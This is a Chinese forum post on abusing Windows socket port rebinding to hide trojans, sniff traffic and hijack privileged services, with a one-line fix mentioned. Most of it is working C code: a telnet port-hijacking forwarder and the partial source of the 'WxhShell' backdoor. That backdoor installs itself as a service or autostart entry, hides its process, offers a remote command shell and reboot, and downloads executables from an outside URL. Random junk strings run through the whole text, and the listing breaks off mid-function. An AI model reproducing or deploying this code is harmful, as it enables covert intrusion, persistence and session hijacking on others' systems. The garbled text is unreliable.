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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Jb@V}Ul$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @Zu5VpJ  
;O6;.5q&  
  saddr.sin_family = AF_INET; |Nn)m  
RDi]2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); o Q2Fjj  
`Bp.RXsd*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *uf'zQ<9  
8 &LQzwa  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +b<FO+E_  
$E~`\o%Ev  
  这意味着什么?意味着可以进行如下的攻击: _\G"9,)u '  
7M!I8C0!aO  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 nZyX|SPk  
Q5`*3h6p=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) n8 i] z  
C*_C;6.~Y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 gMmaK0uhS  
VcO0sa f`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  - q1?? u  
8@Q$'TT6}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &\WSQmtto  
HGs $*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 NZLxHD]mp  
@[<><uTH  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `l ^9/_g'6  
1>_8d"<Gd  
  #include z6=Z\P+  
  #include A@[o;H}XP  
  #include Nho>f  
  #include    ^R7lom.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >V?eog%~  
  int main() ?%-DfCS  
  { D9=KXo^  
  WORD wVersionRequested; wr/"yQA]  
  DWORD ret; RQ'9m^  
  WSADATA wsaData; N=5a54!/  
  BOOL val; v\gLWq'  
  SOCKADDR_IN saddr; F3@phu${  
  SOCKADDR_IN scaddr; $oID(P  
  int err; .+3g*Dv{&  
  SOCKET s; WUe{vV#S'0  
  SOCKET sc; -hGk?_Nqa/  
  int caddsize; x_N'TjS^{  
  HANDLE mt; 30#s aGV  
  DWORD tid;   _?m(V=z>  
  wVersionRequested = MAKEWORD( 2, 2 ); I(L,8n5  
  err = WSAStartup( wVersionRequested, &wsaData ); S]e|"n~@  
  if ( err != 0 ) { A5I)^B<(  
  printf("error!WSAStartup failed!\n"); ;>EM[u  
  return -1; ifMRryN4  
  } TCwFPlF|  
  saddr.sin_family = AF_INET; X; \+<LE  
   3=P]x ;[ba  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 b.JuI  
w7.V6S$Ga  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); DZ'P@f)]  
  saddr.sin_port = htons(23); B dj!ia;H  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jjB~G^n  
  { ,GbR!j@6  
  printf("error!socket failed!\n"); ,F8Yn5h  
  return -1; Jy`B!S_l  
  } D[[|")Fn  
  val = TRUE; <s31W3<v  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 p?%y82E  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) WTQ\PANAaR  
  { K,;E5  
  printf("error!setsockopt failed!\n"); p SH=%u>  
  return -1; TVtvuvQ2K  
  } D(@S+r_ota  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Y|F9}hj(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ios&n)W&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 O_ muD\  
7?!d^$B  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #_ ;lf1x!  
  { 5FPM`hLT  
  ret=GetLastError(); ~OYiq}g  
  printf("error!bind failed!\n"); 6RU~"C  
  return -1; zOAd~E  
  } UawyDs  
  listen(s,2); kYP#SH/  
  while(1) Fh&G;aEq  
  { !OhC/f(GBZ  
  caddsize = sizeof(scaddr); d`=MgHz  
  //接受连接请求 `!3SF|x&  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $ZhF h{DQ.  
  if(sc!=INVALID_SOCKET) #'nr Er <  
  { 1Z/(G1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); e9Wa<i 8  
  if(mt==NULL) )Yh+c=6 ?  
  { 3)t.p>VgO  
  printf("Thread Creat Failed!\n"); ^,lIK+#Elz  
  break; kr^P6}'  
  } htO +z7  
  } r..iko]T  
  CloseHandle(mt); g{]0sn#  
  } Y #ap*  
  closesocket(s); G/y5H;<9M  
  WSACleanup(); K e;E1S-~  
  return 0; &)# ihK_  
  }   g>E LGG |Q  
  DWORD WINAPI ClientThread(LPVOID lpParam) xk9%F?)  
  { Pf")e,u$  
  SOCKET ss = (SOCKET)lpParam; 7~G9'P<  
  SOCKET sc; 6IN e@  
  unsigned char buf[4096]; hIYNhZv  
  SOCKADDR_IN saddr; y1jCg%'H  
  long num; )W,aN)1)  
  DWORD val; 5zK4Fraf  
  DWORD ret; @(EAq<5{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1SQ3-WU s  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   h6L&\~pf  
  saddr.sin_family = AF_INET; D%[mWc@1I  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); r(>@qGN  
  saddr.sin_port = htons(23); k>Is:P  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >jDDQ@  
  { l5Uiw2  
  printf("error!socket failed!\n"); <`8n^m*  
  return -1; gmUz9P(  
  } P1. [  
  val = 100; f=l rg KE  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6%\J"AgXO  
  { \Gef \   
  ret = GetLastError(); Y,qI@n<  
  return -1; hk;5w{t}}  
  } v4a8}G  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +qN>.y!Y  
  { r5S[-`s;  
  ret = GetLastError(); '0;l]/i.  
  return -1; ^ox=HNV  
  } j.[.1G*("  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) zF`0J  
  { &Q/W~)~  
  printf("error!socket connect failed!\n"); F>Ah0U0  
  closesocket(sc); c`)\Pb/O  
  closesocket(ss); etQCzYIhn  
  return -1; udK%>  
  } w0 M>[ 4  
  while(1) 1;bh^WMJ  
  { >%_\;svZG  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 pHGYQ;:L  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 C$=%!wf  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~f2z]JLr:  
  num = recv(ss,buf,4096,0); x`eo"5.$  
  if(num>0) 1 &jc/*Z"  
  send(sc,buf,num,0); M/B_#yK  
  else if(num==0) RXMISt3+{y  
  break; /aCc17>2V{  
  num = recv(sc,buf,4096,0); df8k7D;~e  
  if(num>0) l ~"^7H?4e  
  send(ss,buf,num,0); @-07F,'W,  
  else if(num==0) @(w@e\Bq  
  break; o+iiST JEe  
  } 7DogM".}~Q  
  closesocket(ss); 5+4IN5o]=  
  closesocket(sc); %@J.{@>  
  return 0 ; LG9+GszX 2  
  } VcE:G#]5  
JJ-( Sl  
UkwP  
========================================================== d UE,U=  
b<[Or^X ]  
下边附上一个代码,,WXhSHELL *uRBzO}  
PA{PD.4Du  
========================================================== [-1^-bb  
BGZ#wru  
#include "stdafx.h" *->W^1eGM  
dA}-]  
#include <stdio.h> x M/+L:_<  
#include <string.h> Ys9[5@7  
#include <windows.h> caR<Kb:;*  
#include <winsock2.h> ,$L4dF3  
#include <winsvc.h> sjHE/qmq-Z  
#include <urlmon.h> |)th1 UH  
*\a4wZ6<3  
#pragma comment (lib, "Ws2_32.lib") ah$b [\#C  
#pragma comment (lib, "urlmon.lib") un"Gozmt5  
#6aW9GO  
#define MAX_USER   100 // 最大客户端连接数 #<"~~2?  
#define BUF_SOCK   200 // sock buffer JPI3[.o  
#define KEY_BUFF   255 // 输入 buffer BQHVQs   
mkk6`,ov  
#define REBOOT     0   // 重启 sRR( `0Zp  
#define SHUTDOWN   1   // 关机 G^|:N[>B  
.[KrlfI  
#define DEF_PORT   5000 // 监听端口 m]0;"jeL  
A/$QaB,x  
#define REG_LEN     16   // 注册表键长度 J$DE"| -  
#define SVC_LEN     80   // NT服务名长度 ;W )Y OT  
ij`w} V  
// 从dll定义API ea2ayT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9Q^r O26+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K=Z|/Kkh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )gUR@V>e2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \fLMr\LL&  
\A#41  
// wxhshell配置信息 Igt#V;kK"2  
struct WSCFG { LKB$,pR~1l  
  int ws_port;         // 监听端口 c9 eM/*:  
  char ws_passstr[REG_LEN]; // 口令 Oc0a77@  
  int ws_autoins;       // 安装标记, 1=yes 0=no U[-o> W#  
  char ws_regname[REG_LEN]; // 注册表键名 i v38p%Zm  
  char ws_svcname[REG_LEN]; // 服务名 :uS\3toj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =U9*'EFr  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &vMb_;~B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 / &5,3rU.G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r.&Vw|*>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [#vH'y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #$07:UJ  
B)g[3gQ  
}; N0Lw}@p  
!dnH 7 "  
// default Wxhshell configuration OU_gdp  
struct WSCFG wscfg={DEF_PORT, M#6W(|V/  
    "xuhuanlingzhe", 7hcYD!DS  
    1, kd(8I_i@  
    "Wxhshell", 7M~K,E(7~  
    "Wxhshell", s WvBv  
            "WxhShell Service", ,AFu C <  
    "Wrsky Windows CmdShell Service", lIS-4QX1  
    "Please Input Your Password: ", e{K 215  
  1, -zgI_u9=EB  
  "http://www.wrsky.com/wxhshell.exe", L|7R9+ZG  
  "Wxhshell.exe" c ( C%Hld  
    }; Z]Cq3~l  
I-*S&SiXjI  
// 消息定义模块 #&aqKV Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3z?> j]  
char *msg_ws_prompt="\n\r? for help\n\r#>";  skViMo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u'DRN,h+  
char *msg_ws_ext="\n\rExit."; D?_Zl;bQ'^  
char *msg_ws_end="\n\rQuit."; }@+0/W?\.  
char *msg_ws_boot="\n\rReboot..."; YnAm{YyI  
char *msg_ws_poff="\n\rShutdown..."; lvz7#f L~  
char *msg_ws_down="\n\rSave to "; azp):*f("  
P l]O\vh  
char *msg_ws_err="\n\rErr!"; 5c0 ZRV#  
char *msg_ws_ok="\n\rOK!"; \ :sUL!  
@o _}g !9=  
char ExeFile[MAX_PATH]; mR:uj2*  
int nUser = 0; HyZqUb Ha  
HANDLE handles[MAX_USER]; ZhaP2pC%4  
int OsIsNt; v>)"HL"XG  
*)T^Ch D,  
SERVICE_STATUS       serviceStatus; #OD/$f_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,m:.-iy?  
& l&:`nsJ  
// 函数声明 0&|\N ? 8_  
int Install(void); E,U+o $  
int Uninstall(void); ,T$U'&;  
int DownloadFile(char *sURL, SOCKET wsh); +gtbcF@rx  
int Boot(int flag); O KR "4n:  
void HideProc(void); E A1?)|}n  
int GetOsVer(void); WiR(;m<g  
int Wxhshell(SOCKET wsl); ]Ie 0S~  
void TalkWithClient(void *cs); vMH  
int CmdShell(SOCKET sock); :q% M_  
int StartFromService(void); cf20.F{<  
int StartWxhshell(LPSTR lpCmdLine); 7' V@+5  
ZDYJ\}=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EgCAsSx(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .jE{3^  
U$ElV]N  
// 数据结构和表定义 k"zv~`i'  
SERVICE_TABLE_ENTRY DispatchTable[] = zE9W8:7  
{ &.Qrs :U  
{wscfg.ws_svcname, NTServiceMain}, 'XjZ_ng  
{NULL, NULL} dOH &  
}; |FZ/[9*  
@9RM9zK.q  
// 自我安装 {qJ1ko)$  
int Install(void) G@X% +$I  
{ 051 E6-  
  char svExeFile[MAX_PATH]; |{NYkw  
  HKEY key; Zt{[ *~  
  strcpy(svExeFile,ExeFile); L48_96  
Hd ={CFip  
// 如果是win9x系统,修改注册表设为自启动 A[{yCn`tM  
if(!OsIsNt) { ,Ah;A[%?~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FHg 9OI67  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8^1 Te m  
  RegCloseKey(key); D.u{~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0-Ku7<a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )g%d:xI  
  RegCloseKey(key); yjJ5>cg  
  return 0; <=/hi l  
    } y/7\?qfTk  
  } 21l;\W  
} #r\4sVg  
else { wE`]7mA  
p]+Pkxz]'  
// 如果是NT以上系统,安装为系统服务 >@_^fw)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J<h $ wM  
if (schSCManager!=0) `l[c_%Bm  
{ .?sx&2R2  
  SC_HANDLE schService = CreateService !M1"b;  
  ( 3,qr-g|;jM  
  schSCManager, ;$wVu|&  
  wscfg.ws_svcname, !?h;wR  
  wscfg.ws_svcdisp, ^k">A:E2  
  SERVICE_ALL_ACCESS, #h ]g?*}OJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }9OC,Y8?D  
  SERVICE_AUTO_START, :tg)p+KB  
  SERVICE_ERROR_NORMAL, ?GR"FmB(  
  svExeFile, ZKTz ,  
  NULL, ;h  
  NULL, ;dgp+  
  NULL, 7[XRd9a5(  
  NULL, -C]5>& W  
  NULL >KhOz[Zg  
  ); :':s@gqr  
  if (schService!=0) 9qzHS~l  
  { 0 /U{p,r6`  
  CloseServiceHandle(schService); Kis"L(C  
  CloseServiceHandle(schSCManager); yWo; a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I1M%J@Cz  
  strcat(svExeFile,wscfg.ws_svcname); [waIi3Dv\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `b7t4d*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Iit; F  
  RegCloseKey(key); ?IT*: A] E  
  return 0; U$z-e/  
    } meO:@Z0  
  } )Y{L&A  
  CloseServiceHandle(schSCManager); +',S]Edx  
} y766; X:J  
} =GMkR+<)  
8'io$ 6d=  
return 1; +VOK%8,p  
} BUXpC xQ  
c 3)jccWTc  
// 自我卸载 R!gEwTk  
int Uninstall(void) LFRlzz;  
{ j'"J%e]  
  HKEY key; JU&c.p /  
<6 Uf.u`  
if(!OsIsNt) { \"OG6G_>$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Btn]}8K  
  RegDeleteValue(key,wscfg.ws_regname); ; )@~  
  RegCloseKey(key); _F|Ek;y%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sS'm!7*(3  
  RegDeleteValue(key,wscfg.ws_regname); T}v4*O.,  
  RegCloseKey(key); R8Fv{7]c  
  return 0; #?- wm  
  } Q sCheHP  
} B*Dz{a^.:  
} oQ[f,7u  
else { ;+ hH  
v;D~Pa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y O}<Ytx  
if (schSCManager!=0) /!XVHkX[  
{ 60?%<oJ oH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {q^[a-h>  
  if (schService!=0) FP4P|kl/9'  
  { #BH*Z(  
  if(DeleteService(schService)!=0) { Ry6@VQ"NLb  
  CloseServiceHandle(schService); {8bSB.?R  
  CloseServiceHandle(schSCManager); 59;KQ  
  return 0; pB0 \\wR  
  } G mA< g  
  CloseServiceHandle(schService); aHK}sr,U  
  } CryBwm  
  CloseServiceHandle(schSCManager); LsU9 .  
} bdE[;+58  
} ZyFjFHe+  
z1X`o  
return 1; <*cikXS  
} LG#t<5y~  
8$Y9ORs4  
// 从指定url下载文件 $X,D(  
int DownloadFile(char *sURL, SOCKET wsh) (V2fRv  
{ 8XE7]&)];  
  HRESULT hr; iSs:oH3l  
char seps[]= "/"; [FR`Z=%  
char *token; oE]QF.n#  
char *file; AFE~ v\Gz  
char myURL[MAX_PATH]; d<P\&!R(  
char myFILE[MAX_PATH]; hv>\gBe i  
Qj3EXb  
strcpy(myURL,sURL); mxdr,Idx  
  token=strtok(myURL,seps); O)r4?<Q  
  while(token!=NULL) WOL:IZX%  
  { sdw(R#GE  
    file=token; =]0&i]z[.  
  token=strtok(NULL,seps); Se =`N  
  } ,.FxIl ]  
%6f*{G w  
GetCurrentDirectory(MAX_PATH,myFILE); /aZ`[m2  
strcat(myFILE, "\\"); WCixKYq  
strcat(myFILE, file); g{&ui.ml&  
  send(wsh,myFILE,strlen(myFILE),0); Yr[\|$H5  
send(wsh,"...",3,0); D2~*&'4y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XVZ   
  if(hr==S_OK) uJ v-4H  
return 0; {&1/V  
else PB\x3pV!}  
return 1; u.xnOcOH!  
s?L  
} sD#.Oq4&]y  
oW6XF-yM  
// 系统电源模块 40m-ch6Q  
int Boot(int flag) ^Xh^xL2cn  
{ -PR N:'T  
  HANDLE hToken; v mk2{f,g  
  TOKEN_PRIVILEGES tkp; r3UUlR/Do  
ln dx"prW  
  if(OsIsNt) { ^^D0^k!R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F0@gSurg)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); < h *4Q  
    tkp.PrivilegeCount = 1; ER.}CM6{[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k@W1-D?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U&p${IcEm  
if(flag==REBOOT) { YT(AUS5n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BLD gt~h#  
  return 0; A6(/;+n  
} +TDw+  
else { 6qnzBA7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8 v%o,"  
  return 0; &^Q/,H~S  
} c\AfaK^KF  
  } ;u)I\3`*!  
  else { $*fMR,~t&  
if(flag==REBOOT) { |@4' <4t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7hPY_W y  
  return 0; P-"y3 ZE=  
} 7zG_(83)K  
else { [.wYdv35  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xU`p|(SS-  
  return 0; 2[02,FG  
} $6SW;d+>n  
} 1 ]b.fD  
v` 1lxX'*  
return 1; _I5Y"o  
} pFjK}J OF  
*J`O"a  
// win9x进程隐藏模块 ZPYS$Ydy  
void HideProc(void) 9x =Y^',5  
{ 6T`i/".  
b OY |H~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d7bS wL  
  if ( hKernel != NULL ) i=2N;sAl  
  { R4:b{)=O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f ) L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )l DD\J7  
    FreeLibrary(hKernel); IjnU?Bf  
  } d/~9&wLSb  
.%  
return; z~s PXGb  
} 13x p_j  
`VguQl_,gA  
// 获取操作系统版本 b4N[)%@  
int GetOsVer(void) 7B66]3v  
{ #o#H?Vo9b  
  OSVERSIONINFO winfo; a9V,es"BWQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R0*|Lo$6  
  GetVersionEx(&winfo); -zfR)(zG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LZxNAua  
  return 1; 4BpZJ~(p  
  else 7 HYwLG:\~  
  return 0; @f3E`8  
} + v:SM 9  
{ 2f-8Z&>  
// 客户端句柄模块 Cq~dp/V  
int Wxhshell(SOCKET wsl) {E|$8)58i  
{ (TT}6j  
  SOCKET wsh; .HABNPNg(  
  struct sockaddr_in client; :gFx{*xN/9  
  DWORD myID; uW %#  
A|{(/G2*  
  while(nUser<MAX_USER) (CWtLi"z  
{ \:LW(&[!  
  int nSize=sizeof(client); $6R-5oQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5]:U9ts#  
  if(wsh==INVALID_SOCKET) return 1; }i&/ G +_  
JNnDts*w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g *+>H1}  
if(handles[nUser]==0)  N4TV  
  closesocket(wsh); (X*^dO  
else M kXmA`cP  
  nUser++; Y(Hs#Kn{  
  } QQc -Ya!v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1EX;MW-p<T  
E}Uc7G  
  return 0; *MW\^PR?  
} >uEzw4w  
&s>Jb?_5Mx  
// 关闭 socket S)"Jf?  
void CloseIt(SOCKET wsh) ,f?*{Q2  
{ {(Es(Sb}c  
closesocket(wsh); R 2vlFx/  
nUser--; -X6PRE5a2  
ExitThread(0); 5~DJWi,  
} Xne1gms  
 uHRsFlw  
// 客户端请求句柄 !&@615Vtw  
void TalkWithClient(void *cs) WcbiqxK7-  
{ -"9  
;*2Cm'8E  
  SOCKET wsh=(SOCKET)cs; }4X0epPp;:  
  char pwd[SVC_LEN]; ]7c=PC  
  char cmd[KEY_BUFF]; rEz^  
char chr[1]; :NTO03F7v  
int i,j; `N8O"UcoBo  
gf\oC> N  
  while (nUser < MAX_USER) { +R:(_:7  
1s;S aq+  
if(wscfg.ws_passstr) { &=mtc%mL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6j|{`Zd)G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j3ls3H&  
  //ZeroMemory(pwd,KEY_BUFF); 0jWVp- y  
      i=0; 4E}Yt$|  
  while(i<SVC_LEN) { -m#)B~)  
SUK?z!f <i  
  // 设置超时 gI|~|-'  
  fd_set FdRead; =($xG#g`  
  struct timeval TimeOut; ,|/f`Pl  
  FD_ZERO(&FdRead); cPQiUU~W@  
  FD_SET(wsh,&FdRead); \o3gKoL%  
  TimeOut.tv_sec=8; m+$VVn3Z}  
  TimeOut.tv_usec=0; <9b &<K:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); es0hm2HT3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wVtwx0|1  
 C9)@jK%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3Tm+g2w2V8  
  pwd=chr[0]; [()koU#w.  
  if(chr[0]==0xd || chr[0]==0xa) { 5 SQ 8}Or3  
  pwd=0; [mueZQyI?0  
  break; YuwI&)l  
  } |;{6& S  
  i++; 7 _[L o4_  
    } >=w)x,0yX  
3o/[t  
  // 如果是非法用户,关闭 socket :[d9tm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b| (: [nB  
} |JsZJ9W+J  
_,*r_D61S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KqP#6^ _  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )=(kBWM  
;mi%F3  
while(1) { bcz:q/f}@  
9: lFo=  
  ZeroMemory(cmd,KEY_BUFF); -trkA'ewZ  
F((4U"   
      // 自动支持客户端 telnet标准   0<*<$U  
  j=0; Vi|#@tC'  
  while(j<KEY_BUFF) { ?Z}&EH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EKN~H$.  
  cmd[j]=chr[0]; j5h-dK  
  if(chr[0]==0xa || chr[0]==0xd) { uHNCSz H(  
  cmd[j]=0; #[[ en  
  break; MnHNjsO#  
  } ue>D 7\8  
  j++; /g.U&oI]D  
    } ksm~<;td  
,`sv1xwd  
  // 下载文件 I( Mm?9F  
  if(strstr(cmd,"http://")) { K@%].:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z{r}~{{E  
  if(DownloadFile(cmd,wsh)) !H\F2Vxs  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~F#j#n(=`q  
  else ^=*;X;7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]I6  J7A[  
  } 0tJ Z4(0  
  else { _tycgq#  
BFt> 9x]T  
    switch(cmd[0]) { o#N+Y?O  
  @'|~v <<WZ  
  // 帮助 6wg^FD_Q  
  case '?': { f?)-}\[IR{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @E8+C8'  
    break; >.D4co>  
  } u]G\H!Wk Q  
  // 安装 H%{+QwzZ[j  
  case 'i': { 2>59q$ |  
    if(Install()) JsS-n'gF'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^kSqsT"  
    else 0IWf!Sk ]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BL4-7  
    break; _WbxH  
    } |V7*l1  
  // 卸载 4b`=>X;W  
  case 'r': { .eC1qWZJpd  
    if(Uninstall()) UL9n-M =  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [.}oyz; }N  
    else ;O #>Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q0 \6F^;M  
    break; Zgb!E]V[  
    } P+HXn8@  
  // 显示 wxhshell 所在路径 'we>q@  
  case 'p': { >C~6\L`c  
    char svExeFile[MAX_PATH]; bQ5\ ]5M  
    strcpy(svExeFile,"\n\r"); Ht&Y C<X  
      strcat(svExeFile,ExeFile); -%4,@ x`  
        send(wsh,svExeFile,strlen(svExeFile),0); {7pli{`  
    break; D3K8F@d  
    } 3 8`<:{^Y  
  // 重启 xd0 L{ue.  
  case 'b': { k|f4Cf,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %N_%JK\{@  
    if(Boot(REBOOT)) {fp[BF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uvS)8-o&F  
    else { E<*xx#p  
    closesocket(wsh); S`]k>' l  
    ExitThread(0); "J3x_~,[4m  
    } N4HqLh23H  
    break; ?Ss!e$jf  
    } ]J]h#ZHx  
